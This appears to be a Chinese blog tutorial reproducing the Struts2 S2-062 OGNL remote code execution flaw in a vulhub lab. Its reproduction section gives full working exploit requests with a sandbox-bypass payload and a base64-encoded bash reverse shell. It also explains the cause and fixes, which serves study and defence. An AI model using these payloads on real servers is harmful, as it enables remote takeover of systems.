struts2 s2-062 ONGL远程代码执行

发布时间 2023-05-01 14:56:33作者: 灿灿灿灿灿

struts2 s2-062 ONGL远程代码执行

一、Struts2介绍

struts2是一种重量级的框架,位于MVC架构中的controller,可以分析出来,它是用于接受页面信息然后通过内部处理,将结果返回。struts2也是一个web层的MVC框架。

Java中SSH框架

SSH为Struts+Spring+Hibernate的一个集成框架,是目前较流行的一种JAVA Web应用程序开源框架。

Java中SSM框架

SSM框架即指SpringMVC+Spring+MyBatis的简称,相比于之前的SSH(Spring+Struts+Hibernate),SSM更加轻量化和灵活,是目前业界主流的Java Web开发框架。

MVC介绍(Model-View-Controller)

经典MVC模式中,M是指模型,V是视图,C则是控制器,使用MVC的目的是将M和V的实现代码分离,从而使同一个程序可以使用不同的表现形式。其中,View的定义比较清晰,就是用户界面。

不使用MVC组件:

1、为每个请求编写处理的Servlet

2、使用getParameter()获取请求参数

3、转换参数的数据类型,包括实体对象

4、处理重定向和转发URL

使用MVC组件:

分离页面展示代码和业务逻辑代码,提升可维护性、提升开发效率

二、s2-062漏洞概况

该漏洞是由于 2020 年 S2-061(CVE-2020-17530)的不完整修复造成的,当开发人员使用了 %{…} 语法进行强制OGNL解析时,仍有一些特殊的TAG属性可被二次解析,攻击者可构造恶意的OGNL表达式触发漏洞,从而实现远程代码执行。

三、漏洞复现

1、打开vulhub中Struts2的靶场

2、bp发送payload

POST /index.action HTTP/1.1
Host: 192.168.142.133:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1101

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—

3、建立反弹连接payload

payload需要经过base64编码

编码前:

bash -i >& /dev/tcp/192.168.142.133/6666 0>&1

编码后:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xMzMvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

POST /index.action HTTP/1.1
Host: 192.168.142.133:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1192

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xMzMvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—

四、漏洞原理

项目使用了%{}解析OGNL表达式,对用户输入的内容进行二次解析的时候,如果没有验证就可能导致远程代码执行。

个人理解:

struts2项目中使用了%{}解析OGNL表达式,对用户输入的内容进行二次解析,使用BeanMap类绕过了Struts2的黑名单(沙盒机制),并实例化了可执行任意代码的类,导致可以执行任意代码。

OGNL表达式:

全称Object-Graph Navigation Language(对象图导航语言),一种开源的Java表达式语言,用于对数据进行访问,拥有类型转换、访问对象方法、操作集合对象等功能。

OGNL和Struts:

1、OGNL是Struts默认支持的表达式语言。

2、OGNL可以取值赋值、访问类的静态方法和属性。

3、访问OGNL上下文。Struts的上下文根对象:ValueStack。

4、%{}用来把字符串转换成表达式。

5、可以在struts.xml和struts标签等地方使用表达式。

五、漏洞修复方法

1、升级Struts2的版本

2、升级Struts2的相关组件

3、使用安全产品